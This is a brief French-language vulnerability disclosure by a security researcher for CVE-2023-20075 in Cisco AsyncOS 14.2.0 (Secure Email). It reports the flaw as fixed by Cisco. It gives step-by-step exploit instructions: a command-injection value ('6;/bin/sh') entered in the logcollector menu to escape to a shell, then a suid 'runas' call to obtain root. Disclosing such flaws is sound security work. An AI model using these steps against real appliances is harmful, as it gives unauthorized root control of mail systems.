À propos

Chercheur en sécurité : ly1g3, ly1g3[at]tuta.io

Empreinte GPG : https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

Aperçu : Élévation de privilèges locale et évasion de shell

CVE : CVE-2023-20075

Chronologie :

• Découvert - ly1g3
• Signalé - ly1g3
• Corrigé - Cisco

Cisco AsyncOS 14.2.0

ESA (Cisco Secure Email)

Élévation de privilèges - cli vers shell root

Un utilisateur authentifié ayant accès au cli peut élever ses privilèges jusqu'à root et exécuter du code arbitraire

Étapes pour obtenir un shell

1. Depuis le cli, exécutez la commande logcollector
2. Appuyez sur 3
3. Saisissez la valeur : 6;/bin/sh
4. Shell en tant qu'utilisateur

Étapes pour obtenir root

1. Depuis le shell, exécutez le binaire suid runas
2. /data/release/phoebe-14*/bin/runas 0 /bin/sh
3. Shell en tant que root